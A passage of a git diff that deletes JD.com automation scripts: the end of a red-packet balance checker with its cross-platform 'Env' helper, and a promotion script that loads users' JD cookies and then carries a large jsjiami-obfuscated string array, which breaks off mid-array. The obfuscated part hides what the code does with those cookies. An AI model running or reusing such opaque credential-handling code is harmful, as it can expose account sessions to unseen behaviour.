$.jsRedExpire += parseFloat(vo.balance) - } - } else if(vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")){ - $.jdhRed += parseFloat(vo.balance) - if(vo['endTime'] === t){ - $.jdhRedExpire += parseFloat(vo.balance) - } - } else { - $.jdRed += parseFloat(vo.balance) - if(vo['endTime'] === t){ - $.jdRedExpire += parseFloat(vo.balance) - } - } - } - $.jxRed = $.jxRed.toFixed(2) - $.jsRed = $.jsRed.toFixed(2) - $.jdRed = $.jdRed.toFixed(2) - $.jdhRed = $.jdhRed.toFixed(2) - $.balance = data.balance - $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2) - message += `🧧京喜红包:${$.jxRed}元 今天总过期 ${$.jxRedExpire.toFixed(2)} 元\n` - console.log(`🧧京喜红包:${$.jxRed}元 今天总过期 ${$.jxRedExpire.toFixed(2)} 元`) - message += `🧧极速红包:${$.jsRed}元 今天总过期 ${$.jsRedExpire.toFixed(2)} 元\n` - console.log(`🧧极速红包:${$.jsRed}元 今天总过期 ${$.jsRedExpire.toFixed(2)} 元`) - message += `🧧京东红包:${$.jdRed}元 今天总过期 ${$.jdRedExpire.toFixed(2)} 元\n` - console.log(`🧧京东红包:${$.jdRed}元 今天总过期 ${$.jdRedExpire.toFixed(2)} 元`) - message += `🧧健康红包:${$.jdhRed}元 今天总过期 ${$.jdhRedExpire.toFixed(2)} 元\n` - console.log(`🧧健康红包:${$.jdhRed}元 今天总过期 ${$.jdhRedExpire.toFixed(2)} 元`) - message += `🧧当前红包:${$.balance}元 今天总过期 ${$.expiredBalance} 元\n` - console.log(`🧧当前红包:${$.balance}元 今天总过期 ${$.expiredBalance} 元`) - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch(e){ - $.logErr(e, resp) - } finally{ - resolve(data); - } - }) - }) -} - -function safeGet(data){ - try{ - if(typeof JSON.parse(data) == "object"){ - return true; - } - } catch(e){ - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -// prettier-ignore -function Env(t, e){ - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s{ - constructor(t){this.env = t} - - send(t, e = "GET"){ - t = "string" == typeof t ? { url: t } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) - } - - get(t){return this.send.call(this.env, t)} - - post(t){return this.send.call(this.env, t, "POST")} - } - - return new class{ - constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} - - isNode(){return "undefined" != typeof module && !!module.exports} - - isQuanX(){return "undefined" != typeof $task} - - isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} - - isLoon(){return "undefined" != typeof $loon} - - toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} - - toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} - - getjson(t, e){ - let s = e; - const i = this.getdata(t); - if(i) try{s = JSON.parse(this.getdata(t))} catch{} - return s - } - - setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} - - getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} - - runScript(t, e){ - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { script_text: t, mock_type: "cron", timeout: r }, - headers: { "X-Key": o, Accept: "*/*" } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata(){ - if(!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if(!s && !i) return {}; - { - const i = s ? t : e; - try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} - } - } - } - - writedata(){ - if(this.isNode()){ - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s){ - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for(const t of i) if(r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} - - getdata(t){ - let e = this.getval(t); - if(/^@/.test(t)){ - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if(r) try{ - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch(t){e = ""} - } - return e - } - - setdata(t, e){ - let s = !1; - if(/^@/.test(e)){ - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try{ - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch(e){ - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} - - setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} - - initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} - - get(t, e = (() => {})){ - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try{ - if(t.headers["set-cookie"]){ - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch(t){this.logErr(t)} - }).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => {})){ - if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t)); else if(this.isNode()){ - this.initGotEnv(t); - const { url: s, ...i } = t; - this.got.post(s, i).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null){ - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r){ - const o = t => { - if(!t) return t; - if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; - if("object" == typeof t){ - if(this.isLoon()){ - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return { openUrl: e, mediaUrl: s } - } - if(this.isQuanX()){ - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return { "open-url": e, "media-url": s } - } - if(this.isSurge()){ - let e = t.url || t.openUrl || t["open-url"]; - return { url: e } - } - } - }; - if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} - - logErr(t, e){ - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t){return new Promise(e => setTimeout(e, t))} - - done(t = {}){ - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/backUp/jd_beauty_twelfth.js b/backUp/jd_beauty_twelfth.js deleted file mode 100644 index 45cce6a..0000000 --- a/backUp/jd_beauty_twelfth.js +++ /dev/null @@ -1,24 +0,0 @@ -/* -* 活动:美妆馆 --》京东美妆12周年庆 -* 活动时间:9.29 - 10.13 -* 说明: -* 1、脚本加密,低概率抽到豆子,纯看脸,愿意跑的跑 -* 2、没有内置助力,没有开卡,有加购 -* * */ -const $ = new Env('美妆周年庆'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -var _0xodl='jsjiami.com.v6',_0x3893=[_0xodl,'FMKGBg==','b3HDn8KhAsK+w4o6wog=','w6o/wq3DqQ==','McKbP8Km6K6J5rOK5aWV6LeP77+T6K+q5qKk5p+X57yP6Lad6Yaf6K+4','w7IPw78=','5Yu55aW65Y6o5aaG6LWf77yL5Yyx6ICq5puN6bma5Y+w','w7fCkcO3w5JN','cGrDisKNHsKr','w7XCn8KewrVB','EsOyV3Ej','UTQEwpnChQ==','DcKcFmhg','wqnCun0Swpo=','w48YwpB2aBzDrMKCwp7CpTrCtmDCqMKYaUo+BcOQOMKeEjnDsA==','AcK+w51MccOYDcOkGMK4dMKwGhtDwpHDkMK3w5olw77CmRZBCAc9w6HDlMKwwoEjw6k=','U8K/DsKdG8O6RMKfwrF5AVQ3HDdJ','wpQjwqxsUw==','ZMKlwqNBwonCh8Odw7TChsKGVHzDrVApBMKD','SMKoUcOFw7oOwolywofDuMKmDADDqsOICsK0SVnDjsKXw6rCgMKIwrzDqlBmwpPClMKSw6UW','Ih4EwoB4C8OmcDxTHcKyT8K6w4jCgsOeFnknV8O5wpkdw5AQHsKyH8KJK8OveQ==','wplewqtXWCfCgsOuwrDCkwLDjFo=','w6bDpA3DoA==','wpRqI1fClsONcsOGwqQQARXCusOIN8KlScOnKcKiFsKbwq3DmFANfMOGR8Kvwr/CosKzwo7Dp8Kvwp8VwrFEwrd7FMKtwqJlaMOXLhbDgWVUe8OOwqbCsSrDiALCoX8Lw50BwqTDjUXCh8K2JydbwqE5dRQBH8KXKWPDrsKRwq/DtMO2SMKxw5DCqcOeUsKVw6VXwqtSbsO1woQEUMOhwrjDh096esO0A8OGwpR6VRUXwo8rTTJPwp3CgcOxGw/Cj2FydMOcFmFbMcKtwr9STsK4C3YuSw3Cu8Ovw6gww78iw6DDnMOld8OnwpY+WQ==','w7JoSMKVw7PDtcKHJXPCmw==','w4TDlCzDkTMAw43DusKbwr5Pwp7ChVNyM8Ktw51bwq9WLnlufyHDnnphVzJ6w59IU2ZGwrNKwqnDnlrDuxHDnlbCikxkeMOiesObNcKBw7x7wq3CosO8w6A=','Ih4EwoB4C8OmcDxTHcKyT8K6w4jCgsOeFnknV8O5wpkdw5AQHsKyH8KJK8OveUI=','OsKowq/Diwg=','ZcOyw5AAwpw=','YGHDlzwO','DR3CkMOjw5Y=','XTlswoQh','w48jaBMi','wrZgwoDDmgc=','dXbDo8KnCMK8','TMK2Vw==','Whd8dsKEw4PDhMO6w5nChn3DvmI=','w7sOw64=','w701wqFRTjDCj8OwwrbCkQnDll0=','d8OPwqItw7w=','CcKEJEVI','f8Kdwp7CqMOXwpDCi0cYPw==','wogQw44hwq4ZSg==','wqfDiMKswr1K','wowNw7R3AkVx','EhzCuMOFw64=','U8K8P8KJHA==','wpXDhMK8wqDDkA==','wo1jL0DCkQ==','wqc4w7dbUsKAwoASKw==','wrnChMKSw6bCpg==','HUHCgcKPbg==','HH5HwojCuw==','ScOqwpo+w5c=','U8Kuwo7DhCs=','esOtwqHDrFY=','LMKGw59idw==','N8K9w4VwXg==','HMKwLcKuwo8=','C3XCh8KJfg==','wobDisKmwqHDrw==','wonDm8KRwr/Dsw==','a8KqN8KeLQ==','ecOTwrzDuXcb','w5PDtcKRwrHDgCARwpDClA==','FcKLSg==','wpBvL0I=','wqQfwpDDheivquaxqeWmq+i0nO++iuitluaij+adlOe+tui3qOmFtOivmw==','DXB/wrTCmA==','w5sewplBbwc=','fsKMwojCrMOJ','w78Dw7vCqsOuKU7Dk8KpCcO4wpk=','CcKFX11F','wp3Cp0Y7wr8=','wpDCkVgJwpo=','FMKhw4ZFdg==','cSNKDcK6wqjDvMOBwrbColfDnQ==','wrxCVg==','Y8KcFcOAw4MFwodowovCuMO5FU/Ds8KGTcOjTFbDscKNw6jDg8KYw7XCplxHwqPDm8OHwrRcwp3DmcORHTpFwqTChMOKZ8OeG8Ktw5o=','AsKBTMKxwrpdw7FZZl7DksKNwqZyQMK4wrJMw7Anwo3DhGXDrsK5XsK6VcO9GlDClW/Dl3HDrcOcwqs5wqHCuSnDnSTDscOrJGPCv8OXw77CshXCksOnc3PDvEQ8ScKbw7Z0WiDCqsO3fMKCSA==','AcK+w51MccOYDcOkGMK4dMKwCEVbwojCi8K6w4gvw7TCgBREFgoxw6HCm8O/w49pwqc=','ahF0wqMI','XcOYw4sOwpw=','S8Kdwr7CisOp','LzXChMOfw74=','wrQwRWws','wrwQw5BdAQ==','wqzDvsO4w78o','EcK8NcK8wr8=','w5zDggDDtSI=','wrLDrcKRw7TCjQ==','w516wo7DpQ==','E8OWwqluIg==','w702Sxwa','w6F+ZMK0wp0=','B8O4bw==','wqzDv8K4wpE=','EXflpZbot7nDi3bljJXlm6LCgBI=','N8OIwrs=','ZsOIwqnDlWsORcKNKw==','wr/Cp1E=','woAqw6xq','OMKOwovDteiukeawh+Wnnui3n+++rOisjuahvOacmee9kei3o+mFuOiuvA==','OgsCwoNu','A0PCrMKbWF4=','wqLDgsKIw5nCmQ==','w6TDlMKKwqzDtA==','DMKGCsKcwrU=','VUjDqMKFCw==','wrnDn8KJwpJH','w77CisKtwoF1','ccK6wr5Sw4rDg8Oc','f8O0wogbw4Y=','wrnDrhQqw54=','w7xRwpLDm8Oe','F8KEw5pTfQ==','wo4Fw4opwqYOSk/Dh8K6wpUpUArCssOHUcOgb37Dm8ObwozDvg/CrMKxw6TCgMKxw7/DqQ==','OsOnQHEhwovDrcOoD8KZHcOrLcOqSXIHcTI3Awpuwp3Do8Khw5kZRk4mw7/Dqg==','PMOtWW1kw4jDqMO5AMKaEsKwMMOrHmcC','BEnCrsKuB01LasKFw7s=','woPDl8KMw7DCuRTCr31ewpBpAcO0M8KRXMK4wozCgMK4BsKBwo/Cr8OkworDtsKKw49Lwqh2csKET1vCmMKfw44APVJrwpfDv8KuUXBR','NsOgwo7DryMXwrDCu8OnwrzDssKoUw==','wq7DtcOrw7Y=','EsKNAMKJwqsIw6skRGHCh8KZwqB6QsKsw7kWw6Zcw6nDkSfDqMOnFcO3DsKyElPClxPDkSTDlMKewoUHw7bCpHXDgj/Dp8O3JCHCt8Kqw5zCjUDChsOhYx7Cmz08RcKlwrNOZ37Du8KFH8KMT8KIcFnCv8OmYcOZGcOMw6Rtwpx6w6fDojVAasO1HRYVw7DDk8KuFcK6PsOPAcKOw7/Cn8KcwpU6P2UnVAnDnsO3w4oSZCrDjMOew5Y5fsOxScKzJcKDKEJEw6zCocKTN1DCg1bDscO4YcKUwq1AwpQyw502wr3DkMO4wplYwpEbNcKbw7DCuH4=','bMKNwqrCk8ON','w6Q0w6jCvcOo','DSrCjcOew64=','w4sjwoA6JQ==','w4zCssKbwqJs','dMKgPsKNBw==','CT0fwrpu','G35rwqLCmw==','EMOfwqRfDQ==','wofDs8K8w5DCnw==','w5oQdj8U','f8K6wprCr8OK','w7wJwoZyRA==','acKMwq3DmhU=','YMO+wqnDvU4=','fcOIwq/DjHZTA8OEJcKBwq7DqsKIX8K8WHAlGCfCtV/Cu1UEYw7CusK4DkY4GSvCu0xOHcKnbcKXw43DmGNNwoMfw7h6XyhJwq81','w7p7asKSwrg=','wrkPw74Qwqk=','TcKxWMOQw6U=','wrsdw69Waw==','wqV6woLDtTM=','I8KVfUdQ','Q8K9wpXClcOswrQ=','QRBW','wojDmsKKwqHDlsOCw7xIbk5uZsKx','wqjChcKP','EcOjwoN8BzTCtsO7wozDnzVhcQ==','w59OXMKMwps=','dD5becKv','RQBmccKIw4fDkcOgw5bClQ==','wokuw7VrXMKfwoQ=','L8KBfW9W','TcKrwq/CnsOpwqXCrQ==','azI3wp3CnA==','SRhFwo0h','w64Pw6vCuw==','ZiRKQsKS','wrsvw7dEJQ==','CMKKJ2ZG','wq8STGAs','RmrDh8KFIw==','wp/DjjcOw4PDk8Oow5hf','w7dsQMKA','wqHChMKe','wo16ME7CiMKRcsOwwrU=','UMO8w4U=','wr3CqVsO','bMKgUsOvw6E=','DBMqwopf','w5kTw4vCi8OS','6I605YyJ5rex5YqZ6K2D5oGi5aaI6La0','S8OmwqIcw7Y=','w6htwo7Dl8ON','bMOuwoosw54=','w4XDhMKswpbDlw==','w5nDpcKkwovDug==','wpcvw4ZcaQ==','wrtqwrTDlxbCmlw=','I8KEBg==','5Lq95LuG5p2i5YmO5ZiW6L2c5Zq656qQ5pav5o2z','CmnChMKQUw==','w7vDqRnDqQ4=','wrEZdm4o','UMO8w4UEwosH','FUl+woDCrQ==','DEBbwozCsw==','wqXDrsKNw7DCuQ==','DMKSwrHDhSc=','QsOxwooWw5s=','N8O4V1g6wpo=','dCVITMK4','44K95o6C56S444Gr6K6m5Yau6I2b5Yyc5Liy5Lmv6Lah5Y2A5LuNw54/IBZ2wonCo+ebjuaOg+S8meeUuMKlFcOxUHlZ55ih5Lmq5Lu7566L5Ymf6I+f5Y26','woTDjjEXw57CjsKuwpFEC8K6BEZ8RhDCmsKdAnHCrm4zw4Y7QmddYcOzw4nCmj7CqkVgaB1YwpUDd3U=','wrHDpMKlwoDDhg==','wpDDmsOcw6YW','wr0mw5JWDA==','RsKvwpJ6w50=','RMKrRg==','AU3CpsK7','U8KPwq5Qw5Q=','wrTCpsKow7vCpQ==','wp3DvMOvw48X','wqbDjMK/woXDoQ==','worDnsOJ','EX5q','5rSf5YuW5beS57id5pyT','w7zDpzvDoiM=','w6vClcOrw4Zcwo0=','cwJuRsKT','asOzwoQOw7s=','OTMawpFY','w6M4wprDvmU=','GsKwL8K9wq4=','UDYTwr/Cgg==','BsO2fMO2LA==','CcK9w6FPf8OSAg==','wrrDscK/wq3DsQ==','w5rCh8Kv','w7nCrMOLw7o5w4nlvY/lprbjgaLku6TkupTot6/ljYI=','wp1bw5QuN38=','fMOPwpfDk2IAQg==','W8OPwpPDkGI=','w54awonDjW8=','cDxFwr8A','wpd9DkjCgcKfdQ==','woHDiSI=','w7gMEUQ=','44K95o6C56S444GrMsKJwoPCocO3FuW1teWmhuaWhQ==','5LuH5LqL6LSu5Y2i','w4forJzphLTmlLPnmrPlvJvoj7Plj5A/MsKKES8NeELCnsK0c1xwVAFQRcOCQC0JbcOzB8OufyTDoxR5AcOtKsOhw41LAMOycBk1U1HDtA==','w5RYwqzDqcOS','TQ1uwqEow6Y=','C8KMD8KdwpVcw7YdSnc=','LMKEDkJrTeW1v+Wmq+aXnMKSETc=','5LqR5LmL6LWB5Yyr','UeitkOmEkeaWmeeYr+W8pOiNk+WNssKuw7cfREzCpg==','w5nDoMKMwrPDlA==','w5vDgTHDlQ==','woIkw6ZKT8KZ','wofDkMOKw5QS','dMKgwrw=','Sh9Nwqs=','IADlprHotY5jw6Lljq7lmIvDiMKp','c8OVwrXDnWkFVQ==','w5LCh8KmwpI=','44Gp5oy056SX44C/6K+X5YaU6I645Y+n5LmY5LiF6LeX5Y2G5Lqfw6xRwoBKW8Osw5DnmL7mjJDkvqfnlL/Ck2PDscKPJsOQ55ic5LiB5Lmw56+Q5YiJ6Iyi5Y+o','w57CnMK8wodqQ2QtwobDrjTDpVokwqrDnWDCj3rCpMOFwojDksK0w6EsE2PCgChfw4bDocKewphFOmI7d8KGYmw=','worDkcKdw6HDtx7Dn2J2w5FFH8K4NcOQW8Kuw5zCisOiPcKLw5fDtMO/wp/DvsOAwohWw6A8HcOSFR3CncKHwoUDLRI2wrPCrMO6fmJGw5BnwqYldw1fw4HDq8KdHcOiwowdw6wPKG9hM8Oyw61pwr/Cu8KnwqFYw6jDqjwSGsK2w7kQwptYwrsawqHDrT9xw5rDqWHDosK+ehdnO8KBw7zClFnDqsKfC8OfRH3Dh3rCjHl4wqLDkcOWF1sEw4Unw7cKFMOjFsOLG1l/w48HwpdLwqYrwrwDJcOTTDtqV8KyYcKYOSbDtlURw6bDqcOpaEXDusOVV3jChMOpwppXw6Z4w6cld0pQw5Z9w7bCnsKmACtFwqDDiGYlw4PDtxI7w7V3JEDDtcOYYHrDkcK7wq3DncKYEcKmwrXDucKVwq/ClTrDix4LL3FSw4QtwoUBw6kHAcKuwp7DqD7DlioJwo00EsORBsOPw7M/w5LDosKIw7HDhW9cw57DhMOXw7fCpMKWCMOAwolawrc6w50Yw4fCoH4Mw7zCisK8PhfDpz7DugZWwrwbdsKkw5nCqMKHCVV3EMKpw4UMfAzCt19IOWE6wqVXw4bDusKmwrU5DsKuUMOFDwYjwrV6wr1yw48fUMKScGrDgsKnCsOSw6hIe0vCozoAdRcyw5HDmFbDnmRqwpnCo8KtWcOudsK7w6NvHsKAwpgKw73DkwdsDsOQw7fCjMOaYMObw5LDksKkMV5PL1EoFWvClcK5B0XChybCkyV2T8KIwr0hc0sABzU1IMODw4ciUWtCCcK7wp3DlT3CocKvw5vDmXDCgznCm8OQLcKAIsOPe8OnDcOXFgQ/KcOuw4kPScOoIcKVwrvDjcK3w67DmUvCssKXwpI0NSQrwozCjWcQKhlVwoJIwrQCwqowc8Osw6k4fDzDlkTChsOmwofDj3gtdcOpJGPDozLDpMOmSsObPMKsdsOKw6XDl8OoQzE7ORnCgmvDqcKSwpF5fsObY8KPw5wZwrdcIAXCunHDqxxLRXQ/wrjCscK6W8KGPGhmw4bDr8O+wr5nw5fCkcKjw6DDrsOEw7nDs8K4dlTChnXCm8KaY1rDpcOEZMK+L8KvHMOGMcOzfgMBwobDi2bDncO8woXCqgnDi8OgwpnCgxLCjn3CsMKNd3PCpsK5czbDpnIvLMOPB8KMwpPClDnCq0TCtTHDg8KYa0zCkETCrQ==','w4Q4BkfDlQ==','w6oHwofDlWg=','OsOXwrUGNQTCkMOMwqLDqhlVQMKnw7bDv1XCkMK4TF0sw69N','wqLDssKWw6rChQ==','wph8wp/DgSY=','TcKrwq/CpcO9wqLCqXAJAsK2FMKD','e2DDmcKXBMK2w445wq5UAVDCjA==','GsKiEGhu','UsOpwqMKw6EuXj/CixIgw7wl','w4DDjyzDlSVIwps=','w5fChMKkwqBwCiNUwoXDpyDDrg==','ZDxIRsK5','esOww4Agwpg=','CMK6w5lQa8KBQ8K/EMKnc8KxHUZGwpvDksO0w4EtwqnCjlVYAQggwqHCmcOzw59lwqxFw54wcAoqZMO9w4Y4WHnDscKHwooKWllHbyZSw6BawpMY','wrbDq8K5wrHDgA==','w4MewpVhcw==','NcOMwphwNg==','wo/DvMOMw7gI','w7MQwrVSbw==','w6FQwrbDmsOo','w4J6woTDg8O6','H3RswrLCiUxkS08awow=','w4I9wqLDrXw=','w6www4rCnMOY','wpDDnsOVw5IUOg==','AcKLwoDDmQE=','wpDCm8KnwoJrGi4/w5TCug==','d8KwwqFUw4s=','wpcYR1gXwq/DlcOlwoN4PA==','wocHw6c=','5YqZ5aaV5Y+W5oqc5YqC','KDnCscOxw5U=','woYRw7F9cw==','asOEw4MZwo8=','bGTDn8K7CQ==','woMaw50=','5YiR5aer5Y6W5aWa6LWn77+O5Y+e6ICW5pud6bmY5Y2n','woPDoCAtw74=','w5g/woxXew==','BcKHwr7Duio=','woLCu1E+wq0=','OsOGb8OPHA==','TiMVwrXChDHDo2TDgw==','XRpkwrYL','woYJVEQNwrHDqMOswpE=','JgUX','6I6i5Y2q5reg5YiU6K+j5oKs5aSd6LeO','w78Mw7TCmMO0KXnDscKnDsOowpI=','wrjCmMKcw7E=','wrXDt8KmwpzDmsOxw497Wmw=','wpDDp8KPwrR/woYBCB8qw63Cuw==','UQ1Fwrw=','SsK5T8ONw78IwrdowpvDusKqRgo=','SBFUwropw7HDpULDhMKBwohYPA==','MyHCkMOa','DMKhw5lUfcOJFcOPH8Kid8O9FRo=','cGrDig==','6I+s5Y2x5ren5YqB6K6y5oK05ou05Yi7w6Hlh6nmnbnorpfmhJrlg7/vvrM=','w5YdwpJTdAbCtcO5wpbCujnDvQ==','w67ltazora3mh4vCvw==','w6TCkcOrw4VEwoAuVVvCtCTCvQ==','5q2O77yg5Yyk5omj5aW85qyN5pWX77yZ','w5sewopweAfCpMOhwoLCuy7DvXs=','w6EMFVU=','w5p+worDosOM','XcKvwrLCjg==','wo0Ew698EQ==','w5sYw7/Ci8Oy','wpLDqsKNwod6wpAnKxMkw73CrA==','w7oCGw==','5Yen5p2k6K+E5oSe5YKb772j','w6ctwo8sAE/CpMKZw7zCvMKCw6E=','EOWNvOS5h+ivueaHhu+9rw==','wqwhw4ASwog=','wpFNwoLDrzY=','FsKFwoXDmANeT8KnDMOHaMKz','w5XDhBzDmQc=','ZCtaTcKz','wpDDicOHw5ke','V8Oowrc=','Lui+peihrOS7juatreisu+aGow==','P8KING9H','w63CmsO9w4B9','w4PDoMKNwrzDgiI2woPCgMK3eMOi','OMOGwrJNOBTCu8OKwrjDtRJKVw==','FcKLWVpFwq52f8KBdMKTw5TDrQ==','fDxXV8Kyw7TDr8O6w7bCtFXDklMO','w4HCicKhwoM=','UcOgw4U=','woXDgsKVw6U=','wosPw45gTA==','ecOYw7gTwrY=','AxnCr8O6w7g=','w7XCvMKywqBe','wpkSUlkGwqTDuMOEwp1wMGLDmQ==','DMKhw4o=','w4jovYXoopnku7TmrqTmiLrlp7g=','w5DDosK2wp7Dqw==','w4PDhcKFwrbDmQ==','w4zDrsKE','6Iyp5b+3776C','woUPT1cG','E3BgwqI=','wr52wp8=','wqDCvEQCwpDChyPCgMKW','w5kzcREOwpXCmMKrw6oW','w6oBw6vCpMOCM3/DgcKp','aCpBUMKw','GcKyw6rChsK8wq3DvH5k','wp3Ds8KNwrw=','w5whw43CtsOp','w5phwqrDo8Oo','woMqw5FlZA==','woLClMO6wospBXh+w5U=','wqIRT13ClwVkaMOn','w6DDpyHDsjQ=','EAjCo8Ofw7M=','w4Inwq49BA==','aUjDl8KGCg==','w7I3wqXDu0JYw7JWw7Y='